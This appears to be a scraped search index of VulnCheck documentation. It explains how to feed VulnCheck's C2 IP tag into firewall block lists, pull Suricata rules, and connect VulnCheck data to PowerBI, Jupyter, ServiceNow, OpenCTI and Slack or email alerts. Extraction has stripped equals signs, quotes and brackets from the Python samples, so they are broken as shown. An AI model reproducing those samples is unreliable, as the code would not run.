VulnCheck.,{id:3978,title:3979,titles:3980,content:3981,level:174},/integrations/cisco#working-with-dynamic-block-lists-in-cisco-asa,Working with Dynamic Block Lists in Cisco ASA,354,Cisco ASA provides an easy to use custom list functionality for Cisco ASA FirePOWER, which may be used with third-party intelligence providers like VulnCheck. For more information on these features from Cisco see:\nConfigure IP Blacklisting while Using Cisco Security Intelligence through ASDM,{id:3983,title:3984,titles:3985,content:3986,level:174},/integrations/cisco#block-vulncheck-c2-detections-with-cisco-asa,Block VulnCheck C2 Detections with Cisco ASA,354,You can use any third-party IP database for the custom list for which Firepower module contacts the third party server to fetch the IP address list. In order to configure this, navigate to Configuration > ASA FirePOWER Configuration > Object Management > SecurityIntelligence > Network Lists and Feeds Then in the Feed URL input box, simply add: https://api.vulncheck.com/v3/tags/vulncheck-c2?tokenINSERT_VULNCHECK_TOKEN,{id:360,title:359,titles:3988,content:3989,level:528},,VulnCheck IP Intelligence improves Fortinet FortiGate deployments by providing real-time IP Address data via our Tags API. Customers of Fortinet FortiGate who purchase a VulnCheck IP Intelligence license are able to leverage Fortinets Dynamic Block List (DBL) functionality to block attacker Command & Control (C2) infrastructure detected by VulnCheck.,{id:3991,title:3992,titles:3993,content:3994,level:174},/integrations/fortinet#working-with-dynamic-block-lists-in-fortinet-fortigate,Working with Dynamic Block Lists in Fortinet FortiGate,359,Fortinet FortiGate provides an easy to use IP address threat feed feature, which may be used with third-party intelligence providers like VulnCheck. For more information on these features from Fortinet see:\nIP address threat feed,{id:3996,title:3997,titles:3998,content:3999,level:174},/integrations/fortinet#block-vulncheck-c2-detections-with-fortinet-fortigate,Block VulnCheck C2 Detections with Fortinet FortiGate,359,An IP address threat feed is a dynamic list that contains IPv4 and IPv6 addresses, address ranges, and subnets. Fortinet FortiGate can import this list from an external resource.\nfiles). As an example, to block C2 detections from VulnCheck, simply: Go to Security Fabric > External Connectors and click Create New.In the Threat Feeds section, click IP Address.Set the Name to VulnCheck_Blocklist.Set the Update method to External Feed.Set the URL of external resource to https://api.vulncheck.com/v3/tags/vulncheck-c2?tokenINSERT_VULNCHECK_TOKENClick OK,{id:365,title:364,titles:4001,content:4002,level:528},,VulnCheck IP Intelligence improves Palo Alto Networks NGFW deployments by providing real-time IP Address data via our Tags API. Customers of Palo Alto Networks NGFW who purchase a VulnCheck IP Intelligence license are able to leverage Palo Alto Networks Dynamic Block List (DBL) functionality to block attacker Command & Control (C2) infrastructure detected by VulnCheck.,{id:4004,title:4005,titles:4006,content:4007,level:174},/integrations/panw#working-with-dynamic-block-lists-in-palo-alto-networks-ngfw,Working with Dynamic Block Lists in Palo Alto Networks NGFW,364,Palo Alto Networks NGFW provides an easy to use Dynamic Block List (DBL) feature, which may be used with third-party intelligence providers like VulnCheck. For more information on these features from Palo Alto Networks see:\nHow to Configure Dynamic Block List (DBL) or External Block List (EBL),{id:4009,title:4010,titles:4011,content:4012,level:174},/integrations/panw#block-vulncheck-c2-detections-with-palo-alto-networks-ngfw,Block VulnCheck C2 Detections with Palo Alto Networks NGFW,364,On your Palo Alto Networks device: Go to Objects > Dynamic Block ListClick AddIn the Name field, type the name of the VulnCheck Tag, such as vulncheck-c2In the Source field, enter \https://api.vulncheck.com/v3/tags/vulncheck-c2?tokenINSERT_VULNCHECK_TOKEN\Fill in other fields as necessary and click OK,{id:370,title:369,titles:4014,content:372,level:528},,{id:4016,title:4017,titles:4018,content:4019,level:174},/integrations/powerbi#setup-instructions,Setup Instructions,369,Log into VulnCheck Dashboard and click on User Icon > Tokens and click Create Token.Give the token a Label so that you can later identify what it is being used for.Note: Make sure to copy your token now as you will not be able to see this again.Open PowerBI on the desktop.Note: You will not be able to add API data sources on the web UI.Add a new data source and choose Get data from another sourceIn the search bar, type Web and select the Web connector on the right panel.Click Connect.In the next dialogue box, select Advanced.URL parts: https://api.vulncheck.com/v3/index/vulncheck-kevHTTP request: header parameters: AuthorizationToken: Bearer your_vulncheck_api_tokenClick OKAfter clicking OK, the Query Editor will appear. Here we will choose the fields we want to include in our dataset for PowerBI. PowerBI will make some assumptions on the APPLIED STEPS panel on the right. Delete the steps that it created and start over with just Source.With Source selected, choose Data list in the center panel.You should now have a list of Records that look something like this...Now convert this to a Table and expand out the columns of data. You can also extract values from the nested lists in the columns such as CVE ID.,{id:375,title:374,titles:4021,content:377,level:528},,{id:4023,title:4017,titles:4024,content:4025,level:174},/integrations/idstower#setup-instructions,374,The following instructions were developed against IDSTower 2.7.2. Log into the VulnCheck Dashboard and click on User Icon > Tokens.Click Create Token to generate a VulnCheck new token to use with IDSTower.Log into the IDSTower Dashboard and click on Settings in the left-hand side menu.On the Settings > feeds page, click the Add New Feed button on the right.Set the Feed URL to https://api.vulncheck.com/v3/rules/initial-access/suricata?tokenvulncheck_TOKEN where vulncheck_TOKEN is the token you created in Step 2.Click the Verify Connection button. This should transition you to the following screen with a message indicating that the connection was succesful. Click Add Feed.There should now be a VulnCheck drop down in the Settings > Feeds tab, likely as the last entry. Click the Update button.The VulnCheck Suricata rules should now be available in the Rules Management view.,{id:380,title:379,titles:4027,content:382,level:528},,{id:4029,title:4030,titles:4031,content:4032,level:528},/integrations/tines#tines-library-examples,Tines Library Examples,,Check updated CVEs for exploitation using VulnCheck and GreyNoise Monitor VulnCheck KEV and alert on impacted assets in Tenable.io,{id:4034,title:4035,titles:4036,content:4037,level:174},/integrations/tines#vulncheck-credential-configuration-for-tines,VulnCheck Credential Configuration for Tines,4030,Log into VulnCheck Dashboard and click on User Icon > Tokens and click Create Token. Give the token a Label like Tines so that you can later identify what it is being used for. Open Tines and Import the Desired Story Library.Go to the \Credentials\ section and Connect to \VulnCheck\. Click Create credential and select \text\. Paste your VulnCheck Token in the \Value\ field. Click on the Additional configurations and in the \URL and Domains\ field type \*.vulncheck.com\. Then click \Save\.,{id:385,title:384,titles:4039,content:4040,level:528},,Explore and visualize VulnCheck data in your Jupyter Notebooks using the Python SDK. Jupyter allows you to easily combine markdown and code into a combined canvas view called a notebook. There are several tools that allow you to edit and run code in a Jupyter notebook. This guide will get you setup using VSCode to create a Jupyter notebook that pulls data from the VulnCheck API using the Python SDK and display a chart using that data.,{id:4042,title:4043,titles:4044,content:4045,level:174},/integrations/jupyter#vulnchecks-jupyter-notebook-library,VulnChecks Jupyter Notebook Library,384,We maintain a collection of Jupyter Notebooks that we build with VulnCheck data that can be accessed on Github: https://github.com/vulncheck-oss/jupyter-notebooks,{id:4047,title:4048,titles:4049,content:4050,level:174},/integrations/jupyter#initial-setup,Initial Setup,384,Microsofts VSCode Guide for Jupyter Notebooks is where you should start to get your development environment setup and ready to work with Jupyter. You should read enough to be able to execute a cell that displays \Hello, World!\. Once youre confident with that, continue with this guide. Windows users may need to enable Long Path Support,{id:4052,title:4053,titles:4054,content:4055,level:174},/integrations/jupyter#an-example-notebook,An Example Notebook,384,Create a new notebook, lets call it botnet.ipynbLets add our first cell and install our dependencies in it. %pip install vulncheck-sdk matplotlib pandas Now lets add another cell below to grab data from the VulnCheck API using the SDK. Copy the following code block (replacing the TOKEN value with your own) into the cell and execute it. import vulncheck_sdk\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nDEFAULT_HOST  \https://api.vulncheck.com\\nDEFAULT_API  DEFAULT_HOST + \/v3\\nTOKEN  \insert_token_here\  # Replace with your actual API token\n\nconfiguration  vulncheck_sdk.Configuration(hostDEFAULT_API)\nconfiguration.api_key\Bearer\  TOKEN\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_botnets_get()\n\n    botnet_names  \n    cve_count  \n\n    for entry in api_response.data:\n\n        # For this example, lets check out each botnet and the number\n        # of unique CVEs associated with it.\n        botnet_names.append(entry.botnet_name)\n        cve_count.append(len(entry.cve))\n\ndf  pd.DataFrame({\n    Botnets: botnet_names,\n    Unique CVEs: cve_count\n}) After executing this cell, well have all of our data in a pandas DataFrame object which we can pass to our matplotlib chart for visualizing. Lets do that next! Create another cell, copy the codeblock below and execute it. df_sorted  df.sort_values(byUnique CVEs, ascendingFalse)\nplt.figure(figsize(10, 6))\n\nplt.bar(df_sortedBotnets, df_sortedUnique CVEs)\n\nplt.title(\Unique CVEs per Botnet\)\nplt.xlabel(\Botnets\)\nplt.ylabel(\Unique CVEs\)\n\nplt.xticks(rotation60, haright, fontsize7, fontweightbold)\n\nplt.tight_layout()\nplt.show() You should see something like this:,{id:4057,title:4058,titles:4059,content:4060,level:542},/integrations/jupyter#resources,Resources,384,4053,Python SDKJupyter Notebook Examplematplotlibpandas html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C},{id:390,title:389,titles:4062,content:4063,level:528},,Explore and visualize VulnCheck data in CTIX by Cyware. VulnCheck Exploit Intelligence enhances CTIX (Cyware Threat Intelligence eXchange) deployments by providing real-time enriched vulnerability data via VulnCheck’s API. This integration improves the contextual understanding of vulnerabilities by mapping relationships to exploits, ransomware, botnets and more. CTIX customers who integrate VulnCheck Vulnerability Intelligence gain deeper insights into the exploitation lifecycle of vulnerabilities, enabling faster and more informed decisions in vulnerability management and threat response workflows.,{id:4065,title:4066,titles:4067,content:4068,level:542},/integrations/ctix#working-with-vulncheck-vulnerability-intelligence-in-ctix,Working with VulnCheck Vulnerability Intelligence in CTIX,389,CTIX offers robust features to incorporate third-party intelligence sources like VulnCheck, enriching its capabilities with actionable insights for analysts. For more information on CTIX integrations, see Cywares documentation.,{id:4070,title:4071,titles:4072,content:4073,level:542},/integrations/ctix#enrich-ctix-vulnerability-data-with-vulncheck,Enrich CTIX Vulnerability Data with VulnCheck,389,VulnCheck’s API provides detailed mappings between vulnerabilities and related attacker infrastructure, enabling CTIX users to identify and prioritize high-risk vulnerabilities efficiently. This integration enhances the analyst’s experience by delivering clear exploitation context and improving overall response times.,{id:395,title:394,titles:4075,content:4076,level:528},,Explore and visualize VulnCheck data in OpenCTI by Filigran. Users of Filigrans Open Cyber Threat Intelligence (OpenCTI) Platform can also explore and visualize VulnChecks threat and exploit intelligence data.,{id:4078,title:4079,titles:4080,content:4081,level:174},/integrations/opencti#data-sources,Data Sources,394,Several of VulnChecks curated data sources can be ingested and leveraged in the OpenCTI Platform, including: VulnCheck NVD-2VulnCheck KEVExploitsRansomwareThreat ActorsBotnetsEPSSIP IntelligenceAnd more!,{id:4083,title:4084,titles:4085,content:4086,level:174},/integrations/opencti#how-to-use-the-vulncheck-connector,How to Use the VulnCheck Connector,394,To get started using VulnCheck data in OpenCTI, you should first be familiar with how connectors work and how to configure them for your deployment environment. OpenCTI Connector DocumentationVulnCheck Connector The most important steps are: Choose your desired configuration for the VulnCheck connectorCreate a new user for the connector (recommended)Add the connector to your deployment with the new user token For more information on using OpenCTI, see Filigrans official documentation.,{id:400,title:399,titles:4088,content:402,level:528},,{id:4090,title:11,titles:4091,content:4092,level:174},/integrations/servicenow#overview,399,VulnCheck helps organizations outpace adversaries with vulnerability intelligence that predicts avenues of attack with speed and accuracy. The VulnCheck team comprises a whos who of cybersecurity research, with decades of experience uncovering 100s of 0 days and 10+ patents. VulnChecks vulnerability and exploit intelligence equips defenders with the insights they need to focus resources on the vulnerabilities that matter most. Thats why VulnCheck has been selected to power government agencies, large enterprises, and the industrys most innovative cybersecurity solutions, covering billions of assets around the world. This integration between Vulnerability Response and the VulnCheck application enhances vulnerability data and pulls vulnerable item details from VulnCheck. It facilitates the creation of Vulnerable Items and enables organization-wide vulnerability management within a ServiceNow instance. By utilizing VulnChecks functionalities, businesses can simplify the tasks of vulnerability identification, assessment, prioritization, and remediation. This integration ensures extensive visibility and centralized oversight of the vulnerability management lifecycle.,{id:4094,title:4095,titles:4096,content:4097,level:542},/integrations/servicenow#application-features,Application Features,399,11,Ability to configure authentication details and filtering options.Ability to configure the integrations.Ability to view Vulnerabilities populated and other related tables.Ability to run enrichment on a specific vulnerability and a set of vulnerabilities by providing their IDs.,{id:4099,title:4100,titles:4101,content:4102,level:542},/integrations/servicenow#compatibility-matrix,Compatibility Matrix,399,11,ServiceNow Version: Washington DC, Xanadu and YokohamaVulnCheck API Version:  V3 used for vulncheck-nvd2, exploits endpoint.,{id:4104,title:4105,titles:4106,content:724,level:174},/integrations/servicenow#configuration-instructions,Configuration Instructions,399,{id:4108,title:4109,titles:4110,content:4111,level:542},/integrations/servicenow#installation,Installation,399,4105,This section describes how to download and install the “VulnCheck for Vulnerability Response” from the store.,{id:4113,title:4114,titles:4115,content:724,level:542},/integrations/servicenow#pre-requisites,Pre-Requisites,399,4105,{id:4117,title:4118,titles:4119,content:4120,level:686},/integrations/servicenow#servicenow-plugins,ServiceNow Plugins,399,4105,4114,Vulnerability Response (sn_vul) - v24.1.6Vulnerability Response Integration with NVD (sn_vul_nvd) - v1.5.3Vulnerability Exposure Assessment   (sn_vul_analyst) - v4.0.1 (optional plugin),{id:4122,title:4123,titles:4124,content:4125,level:686},/integrations/servicenow#permission-and-roles,Permission and Roles,399,4105,4114,VulnCheck for Vulnerability Response can be used by users having the role x_cdsp_vuln_vr.vulncheck_vr_admin, sn_vul.admin. UserRolePermissionsDescriptionApp Adminvulncheck_vr_adminInstallation of the application, Configuration record and filters, Integrations, Enrich NVDs on demand, Data Sources, System Properties, Application Logs, Support Contact, Privacy PolicyThe user of this role will be able to configure the application and run the integrations.sn_vul.adminAccess to tables from application scope of Vulnerability Response Integration with NVDThe user with this role can have access to tables like sn_vul_nvd_entry, sn_vul_software, sn_vul_exploit, sn_vul_reference, sn_vul_cwe,{id:4127,title:4128,titles:4129,content:4130,level:542},/integrations/servicenow#vulncheck-for-vulnerability-response,VulnCheck for Vulnerability Response,399,4105,Steps to install the application from the ServiceNow Store: Users with the System administrator(admin) role can install the application from the ServiceNow Store.Go to https://store.servicenow.comSearch for the “VulnCheck for Vulnerability Response” on the search tab.Click on the  VulnCheck for Vulnerability Response.Click on the “Get” button and enter the HI credentials of your instance.Once it is added successfully, open the instance and Navigate to Applications > All Available Applications > All.Find the application using the filter criteria and search bar.Next to the application listing, click Install.,{id:4132,title:4105,titles:4133,content:724,level:542},/integrations/servicenow#configuration-instructions-1,399,4105,{id:4135,title:4136,titles:4137,content:4138,level:686},/integrations/servicenow#create-users,Create Users,399,4105,4105,Note:- This step is optional, if you do not want to create a user, then System Admin can access the VulnCheck Application.\nThe ServiceNow platform admin creates the various users. Username (for example)Role to be assignedApp Adminx_cdsp_vuln_vr.vulncheck_vr_admin, sn_vul.admin Below is an example showing how to create a user and assign the role to it.\nRole Required: System Administrator (admin)\nProcedure: Navigate to “Organization” ->  “Users”.Click the “Users” module. On the Users list that is displayed, click “New”. A new user form is displayed Fill in the form. Note: The values for User ID title, and email address shown in the following table and figure are example values. FieldDescriptionUser IDUnique User ID for the role in your ServiceNow Platform instance. An example is vulncheck_app_admin.First NameFirst name of the person, you are assigningLast NameLast name of the person, you are assigningTitleJob Title, for example, DataBee adminPasswordThe unique password created for this roleEmailUnique email addressTimezoneSelect the time zone from where the user is working. Click “Submit”. Once submitted, you can assign the role.On the Users list in the User ID column, click on the name of the new user you created, for example vulncheck_app_admin.Once the record is open, the Set password UI is visible in the form view of the record.Click on the Set Password UI action.One pop-up will be displayed. Click on “Generate”. This will generate a unique password for the created user that needs to be changed on the first log-in.Copy the generated password and close the popup.On the Users list in the User ID column, click on the name of the new user you created, for example vulncheck_admin.Once the record is open, go to the Roles section, and click “Edit”. Add vulncheck_vr_admin in the collection field of Edit Member form. In the Collection column, select vulncheck_vr_admin and move to the Roles List.Likewise perform the same steps for adding other roles.Click “Save”.,{id:4140,title:4141,titles:4142,content:724,level:174},/integrations/servicenow#use-cases,Use Cases,399,{id:4144,title:4145,titles:4146,content:4147,level:542},/integrations/servicenow#authentication-and-filter-vulnerabilities,Authentication and Filter Vulnerabilities,399,4141,This section describes how to authorize the App to fetch data from VulnCheck. This module will help the user to validate the API token and add the filter components.  Any condition specified here will be applied to filter out the incoming vulnerabilities.,{id:4149,title:4150,titles:4151,content:4152,level:686},/integrations/servicenow#provide-authentication-credentials-and-filter-options,Provide authentication credentials and filter options,399,4141,4145,The user needs to navigate to the system properties table by entering sys_properties.LIST.Search for the Name x_cdsp_vuln_vr.host_url and open the system properties record available and provide the value for host URL used for the VulnCheck API.Next navigate to Vulnerability Response with Vulncheck -> Configuration. This opens the default record.Here the user needs to provide the Name for the configuration record shipped.The user needs to provide the Token for the API, this can be generated by visiting https://vulncheck.com/settings/tokensUsers can modify the filter options for the fields: Minimum EPSS Score, Maximum EPSS Score, Minimum CVSS Score, and Maximum CVSS Score. The values entered in these fields are used to filter the vulnerabilities for mapping into the SNOW tables. If no values are specified, default values will be applied.Click on update and look for the successful validation message, an error will be displayed in case of incorrect host URL or Token input.,{id:4154,title:4155,titles:4156,content:4157,level:542},/integrations/servicenow#fetch-vulnerabilities-from-vulncheck-platform,Fetch Vulnerabilities from VulnCheck Platform,399,4141,“VulnCheck for Vulnerability Response” provides functionality to fetch Vulnerabilities and related information from VulnCheck and store them as vulnerabilities and populate the related table. Vulnerability information is fetched through two integrations: “VulnCheck NVD Integration” and “VulnCheck Exploit Integration.” VulnCheck NVD Integration: This integration is set to run daily. It fetches vulnerabilities from the Vulncheck platform and populates the ServiceNow tables.VulnCheck Exploit Integrations: This integration is set to run on demand and is triggered after VulnCheck NVD Integration is completed. Hence no user intervention is required. It fetches the exploits associated with vulnerabilities and populates the required tables. Role Required:x_cdsp_vuln_vr.vulncheck_vr_admin\nProcedure: Login to the ServiceNow instance.Navigate to “VulnCheck for Vulnerability Response” and under it click on “Integrations”. Select Integration with the name “VulnCheck NVD Integration”. Activate the \Active\ checkbox and click the Update button. Open the VulnCheck Integration record. To fetch issues on demand, click the “Execute Now” button.To fetch issues at a specific time interval, select the relevant option from the Run dropdown, set the desired time, and click the “Update” button.,{id:4159,title:4160,titles:4161,content:4162,level:542},/integrations/servicenow#view-vulnerabilities-and-related-data,View Vulnerabilities and related data,399,4141,Users can view the vulnerabilities fetched and related lists:\nRole Required:x_cdsp_vuln_vr.vulncheck_vr_admin\nProcedure: Navigate to “Vulnerability Response” ->  “Libraries” -> NVD Then users can search for any specific vulnerability to view using the filter options on SNOW tables and click on the records to view the details of a vulnerability entry information mapped and the related list.Users can click on the “Enrich NVD” button on the right corner of a vulnerability entry to enrich a particular NVD. To add the “Reported Exploitation” related list Click on hamburger button -> Configure -> Related List    -> Click on Edit this View in Vulnerability Response -> Select the “Reported Exploitation → Vulnerability list”,{id:4164,title:4165,titles:4166,content:4167,level:542},/integrations/servicenow#enrich-vulnerabilities-by-ids,Enrich Vulnerabilities by IDs,399,4141,Users can enrich a set of vulnerabilities by providing valid IDs.\nRole Required:x_cdsp_vuln_vr.vulncheck_vr_admin\nProcedure: Navigate to “VulnCheck for Vulnerability Response” and under it click on “On Demand NVD Enrichment” module.Provide a set of valid comma separated NVD IDs to run the enrichment on and click on “Enrich NVDs‘.A display message will list all the IDs corresponding to the NVDs which are successfully enriched and another message to list all the invalid NVD IDs provided by the user.,{id:4169,title:4170,titles:4171,content:4172,level:542},/integrations/servicenow#create-vulnerable-items-using-exposure-assessment,Create Vulnerable Items using Exposure Assessment,399,4141,To utilize exposure assessment, the prerequisite is to ensure that the following tables are populated: cmdb_cicmdb_sam_sw_installcmdb_sam_sw_discovery_model Set this system property if the exposure assessment is required to not filter out the inactive CIs The user needs to navigate to the system properties table by entering sys_properties.LIST.Search for the property sn_vul.filter_inactive_sw_installs and set the value to false Follow these steps to create VIT using Exposure Assessment Navigate to Workspaces and click on Vulnerability Assessment Workspaces Under the Assess by CVE tab click on Add button Select the desired CVE to populate the VIT for if the CVE is not present on the list click on the show filter panel and then click on the Advanced view. Next build the filter for desired CVEs for eg: Select ID field and is operator with the CVE id as value and click on update Select the required CVE to assess the exposure for and click on Add button Next we can see the vulnerable software and products for the CVE and the software installation count, select the desired exposure configuration and click on the Create Vulnerable Items to create the VITs.,{id:4174,title:4175,titles:4176,content:4177,level:174},/integrations/servicenow#uninstallation,Uninstallation,399,This section describes how to uninstall the “DataBee CMDB Sync” application from a ServiceNow instance. Role Required: System Administrator (admin)\nProcedure: Navigate to “System Applications” -> “All Available Applications” -> “All”.A list of applications installed in the instance is displayed.Locate the DataBee CMDB Sync , select it, and click “Uninstall” under the related links.The application will be uninstalled from your instance.,{id:4179,title:4180,titles:4181,content:724,level:174},/integrations/servicenow#support-troubleshooting-and-known-behaviours,Support, troubleshooting and Known Behaviours,399,{id:4183,title:4184,titles:4185,content:4186,level:542},/integrations/servicenow#support,Support,399,4180,Navigate to “VulnCheck for Vulnerability Response”.\nFor any issues related to the application, navigate to  “VulnCheck for Vulnerability Response” then select “Support Contact”. Support Contact opens with VulnCheck support email address.,{id:4188,title:4189,titles:4190,content:724,level:542},/integrations/servicenow#troubleshooting,Troubleshooting,399,4180,{id:4192,title:4193,titles:4194,content:4195,level:686},/integrations/servicenow#unable-to-install-vulncheck-for-vulnerability-response-from-servicenow-store,Unable to install “VulnCheck for Vulnerability Response” from ServiceNow store,399,4180,4189,Verify you have the system administrator (admin) role.Navigate to “System Definition” then select “All” in your instance.Verify if the following application is installed or not. If not, then first install this application.,{id:4197,title:4198,titles:4199,content:4200,level:686},/integrations/servicenow#unable-to-create-new-user,Unable to create New User,399,4180,4189,Review the following link and execute the steps.\nhttps://www.servicenow.com/docs/bundle/xanadu-customer-service-management/page/administer/users-and-groups/task/t_CreateAUser.html,{id:4202,title:4203,titles:4204,content:4205,level:686},/integrations/servicenow#unable-to-installactivate-the-plugin-in-servicenow-instance,Unable to install/activate the plugin in ServiceNow Instance,399,4180,4189,Review the following link and execute the steps.\nhttps://www.servicenow.com/docs/bundle/xanadu-platform-administration/page/administer/plugins/task/t_ActivateAPlugin.html,{id:4207,title:4208,titles:4209,content:4210,level:686},/integrations/servicenow#user-deletes-any-of-the-integration-records,User deletes any of the Integration Records,399,4180,4189,Uninstall the application and reinstall the application.,{id:4212,title:4213,titles:4214,content:4215,level:686},/integrations/servicenow#integration-ends-with-eccresponsetimeoutexception,Integration ends with ECCResponseTimeOutException,399,4180,4189,The user needs to navigate to the system properties table by entering sys_properties.LIST.Search for the property glide.http.outbound.max_timeout.enabled and set the value to true. If the property is not available then create a new property of type true|false with the given name in Global scope.Next search for the property glide.http.outbound.max_timeout and set a higher value such as 60 or 120. If the property is not available then create a new property of type integer with the given name in Global scope.,{id:4217,title:4218,titles:4219,content:4220,level:686},/integrations/servicenow#edit-the-list-view-for-a-related-list,Edit the list view for a related list,399,4180,4189,To add/remove the column of a table or of the related list table follow these steps.Click on the gear icon on the top right Next in the personalize list columns dialog add or remove the columns as desired using the arrow buttons and clock OK.,{id:406,title:410,titles:4222,content:4223,level:528},,VulnCheck users can easily set up VulnCheck KEV (Known Exploited Vulnerabilities) alerts through Email and Slack. VulnCheck users can easily set up VulnCheck KEV (Known Exploited Vulnerabilities) alerts through Email and Slack. This empowers defenders to receive timely alerts for vulnerabilities where we have verified public reports of known exploitation and stay ahead of emerging threats.,{id:4225,title:4226,titles:4227,content:4228,level:174},/alerts#email-alerts,Email Alerts,410,VulnCheck KEV email alerts will send a notification to your email address anytime VulnCheck adds a new vulnerability to Vulncheck KEV.,{id:4230,title:4231,titles:4232,content:4233,level:542},/alerts#setup-email-alerts,Setup Email Alerts,410,4226,Email alerts for VulnCheck KEV are easy to setup and should take less than 30-seconds to configure and test. Register or Login to VulnCheck Community.Click the Settings Icon in the top right of the page and click \Alerts\.In the \Email\ section click \Connect\.Confirm your email address by clicking \Submit\.Test the alert by clicking \...\ and select \Test\. You should now receive an email confirmation. When a new vulnerability is added to VulnCheck KEV, you will now receive an email alert.,{id:4235,title:4236,titles:4237,content:4238,level:174},/alerts#slack-alerts,Slack Alerts,410,VulnCheck KEV email alerts will send a slack notification to the slack channel of your choice anytime VulnCheck adds a new vulnerability to Vulncheck KEV.,{id:4240,title:4241,titles:4242,content:4243,level:542},/alerts#setup-slack-alerts,Setup Slack Alerts,410,4236,Slack alerts for VulnCheck KEV are easy to setup and should take less than a few minutes. You will need administrative access to configure slack with VulnCheck KEV alerts. Register or Login to VulnCheck Community.Click the Settings Icon in the top right of the page and click \Alerts\.In the \Slack\ section click \Connect\.Enter the Slack Channel where the alerts will be sent.Enter the Slack Access Token. The access token for the Slack bot, requires the chat:write scope, see more here.Click \Submit\Test the alert by clicking \...\ and select \Test\. You should now receive an slack confirmation. When a new vulnerability is added to VulnCheck KEV, you will now receive an slack alert. If you have feedback or Questions about VulnCheck KEV alerts, please reach out to VulnCheck at community@vulncheck.com.,{id:415,title:419,titles:4245,content:4246,level:528},,Access the premier source for open Vulnerability and Exploit Intelligence Gain visibility into known exploited vulnerabilities backed by 100s of trusted sources.A reliable service providing access from a single source to NIST NVD (enriched w/ VulnCheck CPE)An index of exploit proof-of-concept code in Git repositories, programmatically compiled with validation steps that involve human analysis and automated block lists.VulnCheck Report A Vulnerbaility makes it easy to Report a vulnerability to VulnCheck to be responsibly disclosed.,{id:423,title:48,titles:4248,content:4249,level:528},,VulnCheck KEV makes it easy to see which vulnerabilities have been exploited in the wild. VulnCheck Known Exploited Vulnerabilities (KEV) catalog makes it easy for enterprises, government agencies, and vendors, to know which vulnerabilities have been reported as exploited in the wild.,{id:4251,title:4252,titles:4253,content:724,level:174},/community/vulncheck-kev#video-overview-of-vulncheck-kev,Video Overview of VulnCheck KEV,48,{id:4255,title:4256,titles:4257,content:4258,level:174},/community/vulncheck-kev#whats-included-in-vulncheck-kev,Whats included in VulnCheck KEV?,48,With the rapid growth and exploitation of vulnerabilities, speed and breadth of data remain the most valuable assets to vulnerability management first responders. Currently, VulnCheck tracks more than 2,500 vulnerabilities exploited in the wild. Over 130% more than CISA, and alerts customers before missing exploits are added to the CISA KEV catalog an average of 27 days earlier. VulnCheck’s KEV catalog equips cybersecurity vendors and vulnerability management teams with faster, broader coverage in an efficient machine-readable dataset needed for detection, prioritization, and remediation.,{id:4260,title:4261,titles:4262,content:4263,level:542},/community/vulncheck-kev#more-vulnerabilities,More vulnerabilities,48,4256,VulnCheck provides security teams with the largest real-time collection of known exploited vulnerabilities. The offering encompasses all vulnerabilities listed in the CISA KEV catalog, plus approximately 80% more reported as exploited in the wild.,{id:4265,title:4266,titles:4267,content:4268,level:542},/community/vulncheck-kev#exploit-references-from-vulncheck-xdb,Exploit references from VulnCheck XDB,48,4256,VulnCheck’s catalog adds the much-needed context to CVEs. The catalog includes supplementary external links to exploit content available in VulnCheck XDB, referencing publicly-available exploit proof of concept code where possible. This intelligence arms engineers with the information needed to build better detections and get them in the hands of defenders faster.,{id:4270,title:4271,titles:4272,content:4273,level:542},/community/vulncheck-kev#references-on-why-we-believe-its-exploited-in-the-wild,References on why we believe its exploited in the wild,48,4256,VulnCheck provides citations for each and every CVE, so security teams have a clearer picture of why the vulnerability is on the list. When threat actors, ransomware groups, or botnets are involved in the vulnerability exploitation, VulnCheck cites evidence.,{id:430,title:429,titles:4275,content:4276,level:528},,Only vulnerabilities reported to have been exploited in the wild are included in VulnCheck 